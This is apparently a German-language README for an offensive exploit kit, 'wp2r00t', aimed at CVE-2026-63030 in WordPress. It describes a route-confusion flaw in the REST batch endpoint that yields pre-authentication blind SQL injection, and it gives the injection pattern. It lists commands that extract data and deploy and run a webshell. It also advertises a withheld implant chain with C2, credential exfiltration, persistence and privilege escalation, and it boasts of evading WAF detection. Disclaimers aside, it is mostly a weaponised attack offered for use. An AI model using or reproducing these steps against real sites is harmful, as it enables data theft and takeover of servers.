
Eine vollständig red-team (offensive Sicherheit) weaponisierte Variante von wp2shell, entwickelt für autorisierte Penetrationstests und Bildungszwecke.
Ein eigenständiger Proof-of-Concept für die nicht authentifizierte blinde SQL-Injection,
die über den WordPress REST Batch-Endpunkt (/wp-json/batch/v1) erreichbar ist. Es handelt sich um eine unabhängige Implementierung, die auf den veröffentlichten Schwachstellenmechanismen aufbaut.
Offizielle Mitteilung: WordPress Security Release | CVE-2026-63030
Autor: J4ck3LSyN
Behörden: CFSD, NFK & C4b1NKr3W
Hinweis: Ich habe dies nicht mit dem zugehörigen bewaffneten Persistenz-Implantat
r00t.pyausgeliefert, aus offensichtlichen rechtlichen Gründen. Um es zu erhalten, kannst du mich auf x anschreiben
[!WARNING]
Dieser Code wird WIE BESEHEN nur für Bildungs- und Forschungszwecke bereitgestellt. Verwenden Sie diesen PoC nicht auf Produktionssystemen, gemeinsamen Umgebungen oder auf nicht autorisierten Zielen.
- Das Ausführen oder Hosten dieses Codes kann Antiviren-Erkennungen, Sicherheitsüberwachungswarnungen oder rechtliche Konsequenzen bei Missbrauch auslösen.
- Die Autoren und Repository-Betreuer übernehmen keine Haftung für Schäden, Missbrauch oder illegale Aktivitäten, die aus diesem Code resultieren.
- Ausschließlich in isolierten Laborumgebungen mit entsprechender Autorisierung verwenden. Bestimmt für defensive Forschung, Schwachstellenanalyse und Blue-Team-Tests.
poc.py - Haupt-PoC-CLI (Check, Read, Shell-Modi)val.py - Leichter passiver Schwachstellen-Validator (val.py <target>)MITIGATIONS.md - Umfassende Anleitung zur Schadensbegrenzung und HärtungLETHALITY.html - Visuelle Matrix der Fähigkeits-Schädlichkeit (Heatmap + Kill Chain)LICENSE - MIT-Lizenzr00t.py:redacted - Haupt-Orchestrator des Implantats (verbindet alles)modules/ - Post-Exploitation-Implantat-Moduleexploit.py - Kern-Exploit-Logik (SQLi + RCE-Primitive)privesc.py:redacted - Lokale Privilegieneskalations-Checks (DirtyCOW, sudo, Capabilities, etc.)lpe_byond.py:redacted - Erweiterte LPE mittels BYOVD + eBPF-Techniken (betreibergesteuert)recon.py:redacted - Host-Profilierung und Erkundungpersistence.py:redacted - Persistenzmechanismen (systemd, cron, SSH-Keys)c2.py:redacted - Verschlüsseltes C2-Beacon (HTTPS + DoH)exfil.py:redacted - Credential-Harvesting und Datenexfiltrationstealth.py:redacted - Anti-Analyse, Sandbox-Erkennung und Verschleierung| Branch | Betroffene Versionen | Behoben in |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
Details finden Sie in den offiziellen WordPress-Sicherheitsveröffentlichungen.
Der Batch-Endpunkt verteilt mehrere Unteranfragen in einem Aufruf, validiert und
überprüft die Berechtigungen jeder unabhängig. Wenn der Pfad einer Unteranfrage
bei wp_parse_url() fehlschlägt, wird er an das Validierungs-Array angehängt, aber nicht
an das Array der zugeordneten Handler. Die beiden Arrays geraten aus Schritt, und eine spätere
Unteranfrage wird unter einem anderen Handler einer Unteranfrage ausgeführt. Das ist die Routenverwechslung.
Dieser PoC verschachtelt das Primitive zweimal:
POST /wp/v2/posts-Anfrage, die einen requests-Body enthält,
wird unter dem Batch-Handler selbst ausgeführt. Nachdem sie als Posts-Anfrage validiert wurde,
wird ihre innere requests-Liste nie erneut gegen das Batch-Schema überprüft, sodass die inneren
Unteranfragen GET verwenden können (Methoden-Whitelist-Umgehung).GET /wp/v2/users-Anfrage
mit author_exclude=... unter posts get_items() ausgeführt. Das Benutzerschema hat keinen
author_exclude-Parameter, daher passiert der Wert unverändert die Validierung. posts get_items()
ordnet author_exclude der WP_Query-Variable author__not_in zu, die in anfälligen Builds
als Rohstring in SQL interpoliert wird.Die endgültige Senke ist eine boolesche / zeitbasierte Blind-SQL-Injection vor der Authentifizierung:
... post_author NOT IN (<value>) ...
Ein Wert wie 0) <sql>-- - schließt die IN()-Liste und fügt beliebiges SQL an.
Der PoC ist fehlersicher (fail-closed). Drei Laufzeit-Gatter verhindern eine versehentliche
oder außerhalb des Gültigkeitsbereichs liegende Ausführung. Alle werden in modules/exploit.py
durchgesetzt; die CLI in poc.py führt sie nur durch.
AuthorizationError wird in BatchClient._ensure_authorized(), AdminSession._ensure_authorized()
und AdminSession._ensure_r00t() ausgelöst.BatchClient._count() erzwingt --max-requests bevor der Socket geöffnet wird.--r00t ist der Fähigkeitstrenner: Ein Build, der ohne es ausgeliefert wird, kann kein Webshell
bereitstellen oder ausführen.Credential-Handling für shell: Admin-Benutzername/-Passwort werden aus --user /
--password, Umgebungsvariablen oder einer sicheren Datei aufgelöst.
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # grundlegende Plausibilitätsprüfung
Anforderungen: Python 3.11+, nur Standardbibliothek (keine pip-Abhängigkeiten).
python3 poc.py <command> <url> [flags]
Gemeinsame Flags (alle Unterbefehle):
--authorized Bestätigen, dass Sie <url> besitzen / berechtigt sind, sie zu testen. Erforderlich zum Senden.
--noop Erstellen/Validieren von Payloads ohne Senden (kein Netzwerkkontakt).
--max-requests N Hartes Limit für Anfragen an das Ziel.
--rest-route /?rest_route=/batch/v1 anstelle von /wp-json/batch/v1 verwenden.
--timeout FLOAT Anfrage-Timeout (Standard 30).
--proxy URL HTTP(S)-Proxy.
--insecure TLS-Zertifikatsprüfung deaktivieren.
check - Schwachstelle bestätigen (nicht destruktiv)read - Blinde SQL-Extraktionshell - Post-Auth-Webshell-Helfer (erfordert --r00t)validate - Passiver IdentifikatorKurzübersicht
Die vollständige Befehlsdokumentation ist in den originären Detailabschnitten verfügbar (oder führen Sie python3 poc.py --help aus).
Jitter) und variierte SLEEP-Werte pro Probe
vereiteln feste Kadenz/feste Delta-WAF/NDR-Verhaltensanalysen.Die Post-Exploitation-Module (
recon,privesc,exfil,persistence,stealth,c2,lpe_byond) undr00t.pybilden eine separate Implantat-Kette, die nicht Teil des netzwerkseitigen PoC ist und absichtlich aus gemeinsamen Builds ausgeschlossen wird. Sie liegen außerhalb des Gültigkeitsbereichs dieses Dokuments.
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe LICENSE für Details.
Haftungsausschluss: Nur auf Systemen verwenden, die Sie besitzen oder für die Sie ausdrücklich berechtigt sind, Tests durchzuführen. Die Autoren übernehmen keine Haftung für Missbrauch.
| Flag | Bereich | Wirkung bei Fehlen |
|---|
--authorized | Gesamte Netzwerk-I/O | AuthorizationError vor jedem Senden |
--noop | Alle Unterbefehle | Erstellt/zeigt Payloads; kein Netzwerkkontakt |
--max-requests | BatchClient | Hartes Anfragenbudget |
--r00t | shell-Unterbefehl | Post-Auth-RCE-Fähigkeiten vorenthalten |
| Ziel | Befehl |
|---|
| Probe-Payloads anzeigen | python3 poc.py check <url> --noop |
| Schwachstelle bestätigen | python3 poc.py check <url> --authorized |
| Aktiver Timing-Nachweis | ... check <url> --authorized --confirm-sqli |
| SQLi-Payloads anzeigen | python3 poc.py read <url> --noop --query "SELECT @@version" |
| Daten extrahieren | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| Webshell-Artefakt anzeigen | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| Bereitstellen + ausführen (authorisiert) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| Passiver Scan | python3 poc.py validate <url> --authorized |